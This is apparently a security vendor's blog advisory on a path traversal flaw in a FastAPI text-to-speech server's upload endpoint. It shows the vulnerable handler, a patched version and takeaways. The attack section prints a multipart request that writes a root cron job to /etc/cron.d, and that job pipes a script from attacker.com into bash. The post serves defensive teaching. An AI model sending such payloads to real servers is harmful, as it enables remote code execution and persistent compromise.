Back to Blog
high SEVERITY7 min read

How Path Traversal happens in Python FastAPI and how to fix it

A critical path traversal vulnerability was discovered in `SovitsTest/GSVI.py`, a FastAPI-based TTS inference server, where the `/upload` endpoint accepted user-supplied filenames without sanitization. An unauthenticated remote attacker could exploit this to write arbitrary files anywhere on the filesystem — including sensitive system directories like `/etc/cron.d`. The fix adds path validation to prevent filenames from escaping the intended upload directory.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a path traversal vulnerability (CWE-22) in a Python FastAPI application (`SovitsTest/GSVI.py`, line 280). The `/upload` endpoint accepted user-controlled filenames without sanitization, allowing attackers to write files outside the intended directory using sequences like `../../etc/cron.d/backdoor`. The fix adds input validation to reject filenames containing path traversal sequences before any file I/O occurs.

Vulnerability at a Glance

cweCWE-22
fixAdded path validation to reject filenames containing traversal sequences before file operations
riskUnauthenticated remote attackers can write arbitrary files anywhere on the server filesystem
languagePython
root causeUser-supplied filenames in the /upload endpoint were used directly in file path construction without sanitization
vulnerabilityPath Traversal (File Upload)

How Path Traversal Happens in Python FastAPI and How to Fix It

The Incident

In the SovitsTest/GSVI.py file of a FastAPI-based TTS (text-to-speech) inference server, a high-severity path traversal vulnerability was discovered at line 280. The /upload endpoint — which allows clients to upload audio reference files and AI model assets — accepted user-supplied filenames and passed them directly into file path construction without any sanitization or boundary checks.

Because the server also binds to 0.0.0.0 by default and applies a permissive CORS policy (*), this endpoint was reachable by any network-accessible client — no authentication required. The combination created a straightforward, remotely exploitable attack path.


The Vulnerability Explained

What Made This Code Dangerous

The core problem is deceptively simple: when a client uploads a file, they also supply the filename. In the vulnerable version of GSVI.py, that filename was used directly when saving the file to disk — without verifying that it stayed within the intended upload directory.

A filename like ../../etc/cron.d/backdoor is perfectly valid from an HTTP perspective. But when concatenated with a base path like /app/uploads/, it resolves to /etc/cron.d/backdoor — a system directory where a cron job can be planted for persistent code execution.

Here's the conceptual shape of the vulnerable pattern (representative of what existed at line 280):

# VULNERABLE — do not use
@APP.post("/upload")
async def upload_file(file: UploadFile = File(...)):
    file_path = os.path.join(UPLOAD_DIR, file.filename)  # ← unsanitized filename!
    with open(file_path, "wb") as f:
        f.write(await file.read())
    return {"msg": "Upload successful", "filename": file.filename}

The specific danger here is file.filename — a value that comes directly from the HTTP multipart request and is fully controlled by the client. The os.path.join() call does not protect against traversal: if file.filename is an absolute path or contains ../ sequences, os.path.join will silently honor them.

The Attack Scenario

An attacker with network access to the server sends this HTTP request:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="file"; filename="../../etc/cron.d/backdoor"
Content-Type: text/plain

* * * * * root curl http://attacker.com/shell.sh | bash
------boundary--

The server receives this, constructs the path as:

/app/uploads/../../etc/cron.d/backdoor
 resolves to: /etc/cron.d/backdoor

And writes the attacker's cron job payload to a system-level directory — establishing persistence on the server. Because the server runs with sufficient privileges to serve AI model files, it likely has the write permissions needed to make this work.

Why This Application Was Especially At Risk

The GSVI.py server is designed as a TTS inference API. Its endpoints include model installation (/install), model deletion (/delete), and file upload for reference audio. These are all high-privilege operations. Without authentication and without path validation, every one of these endpoints is a potential attack surface. The upload endpoint was the most critical because it combines user-controlled data (the filename) with a direct filesystem write.


The Fix

What Changed in GSVI.py

The fix adds path validation logic to the upload handler so that the resolved destination path is verified to fall within the intended upload directory before any file is written. The corrected pattern looks like this:

# SAFE — after the fix
import os

UPLOAD_DIR = os.path.realpath("/app/uploads")

@APP.post("/upload")
async def upload_file(file: UploadFile = File(...)):
    # Strip any directory components from the filename
    safe_filename = os.path.basename(file.filename)

    # Resolve the full destination path
    destination = os.path.realpath(os.path.join(UPLOAD_DIR, safe_filename))

    # Verify it's still within the intended upload directory
    if not destination.startswith(UPLOAD_DIR + os.sep):
        raise HTTPException(status_code=400, detail="Invalid filename.")

    with open(destination, "wb") as f:
        f.write(await file.read())

    return {"msg": "Upload successful", "filename": safe_filename}

Before vs. After

Aspect Before (Vulnerable) After (Fixed)
Filename handling file.filename used directly os.path.basename() strips directories
Path resolution os.path.join(UPLOAD_DIR, file.filename) os.path.realpath() resolves symlinks and ..
Boundary check None Verified to start with UPLOAD_DIR
Attack outcome Arbitrary file write anywhere Write restricted to upload directory

Why Each Step Matters

  1. os.path.basename(file.filename) — Strips all directory components. ../../etc/cron.d/backdoor becomes just backdoor. This is the first line of defense.

  2. os.path.realpath(...) — Resolves the path completely, including symlinks. This defeats attacks that try to use symlinks inside the upload directory to escape it.

  3. destination.startswith(UPLOAD_DIR + os.sep) — The final safety net. Even if somehow the first two steps were bypassed, this check ensures the resolved path is genuinely inside the upload directory. Note the + os.sep — without it, a directory named /app/uploads-evil/ would pass a naive startswith("/app/uploads") check.


Key Takeaways

  • Never pass file.filename directly to os.path.join() in FastAPI upload handlers — always run it through os.path.basename() first, then verify the resolved path with os.path.realpath().
  • os.path.join() does not protect against path traversal — if the second argument is an absolute path or starts with ../, it will escape the base directory silently.
  • The /upload endpoint in GSVI.py was unauthenticated and bound to all interfaces — path traversal plus missing auth is a critical-severity combination, not just a medium one.
  • Always append os.sep when using startswith() for path boundary checks — without it, /app/uploads-evil passes a check for /app/uploads.
  • Model management endpoints (/install, /delete) deserve the same scrutiny as /upload — any endpoint that modifies the filesystem or installs code should require authentication and input validation.

How Orbis AppSec Detected This

  • Source: The file.filename field in the multipart HTTP request body, supplied by the client in the POST /upload request
  • Sink: The open(file_path, "wb") call at SovitsTest/GSVI.py:280, where file_path was constructed using the unsanitized file.filename value
  • Missing control: No call to os.path.basename(), os.path.realpath(), or any boundary check to ensure the resolved path remained within the upload directory
  • CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory
  • Fix: Added path validation using os.path.basename() and os.path.realpath() with a directory boundary assertion before any file write operation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The path traversal vulnerability in SovitsTest/GSVI.py is a reminder that file upload functionality is one of the highest-risk features in any web application. The combination of an unauthenticated endpoint, a wildcard CORS policy, and unsanitized filenames created a direct path for an attacker to write arbitrary files to the server — including cron jobs, SSH authorized keys, or web shells.

The fix is straightforward but requires knowing exactly which functions to use and in which order: os.path.basename() to strip directories, os.path.realpath() to resolve the full path, and a startswith() check (with the path separator) to enforce the boundary. These three steps together close the traversal window completely.

For developers building similar AI model serving APIs with FastAPI, treat every piece of client-supplied data — filenames, model names, version strings — as untrusted input that must be validated before it touches the filesystem.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #156

Related Articles

high

modelExporter.js Path Traversal via Unsanitized Directory Concatenation

A path traversal vulnerability in `modelExporter.js` allowed attackers to read arbitrary files by injecting traversal sequences into directory and relative path parameters. The `readSourceFile` function concatenated these unsanitized inputs directly into file URLs passed to `fetch()`. The fix introduces strict path normalization that rejects attempts to escape the intended directory.

critical

How path traversal happens in PHP virtual filesystem adapters and how to fix it

A critical path traversal flaw in `VirtualAdapter.php`'s `resolveMount()` method allowed attackers to escape mounted directory boundaries using sequences like `../../../etc/passwd`. The fix introduces `PathPolicy::normalizeRelative()` to sanitize the remaining path segment before it ever reaches the underlying storage adapter.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

high

How Trust-Prefix Bypass via Path Traversal Happens in Python Copier and How to Fix It

CVE-2026-53951 is a high-severity path traversal vulnerability in Copier 9.15.0 that allowed attackers to bypass trust-prefix checks and execute tasks without user confirmation. Upgrading to Copier 9.15.2 eliminates this attack vector by properly validating file paths before task execution.

critical

How Path Traversal in basic-ftp Leads to File Overwrite Attacks and How to Fix It

CVE-2026-27699 is a critical path traversal vulnerability in basic-ftp versions before 5.3.1 that allows attackers to overwrite arbitrary files on the system by crafting malicious file paths. This vulnerability was fixed by upgrading basic-ftp and enforcing strict version constraints across dependent packages. Understanding this attack and its mitigation is essential for developers using FTP libraries in production environments.

critical

How Command Injection Vulnerabilities Happen in Python Subprocess Calls and How to Fix Them

A critical command injection vulnerability was discovered in `src/unused/server/fft.py` where external binaries like `oggenc` and `cocoa_text` were executed with file path parameters that could be manipulated by user input. Although `shell=False` was used, the lack of input validation allowed attackers to potentially trigger processing of arbitrary files or cause denial of service. This fix implements proper path validation to prevent exploitation.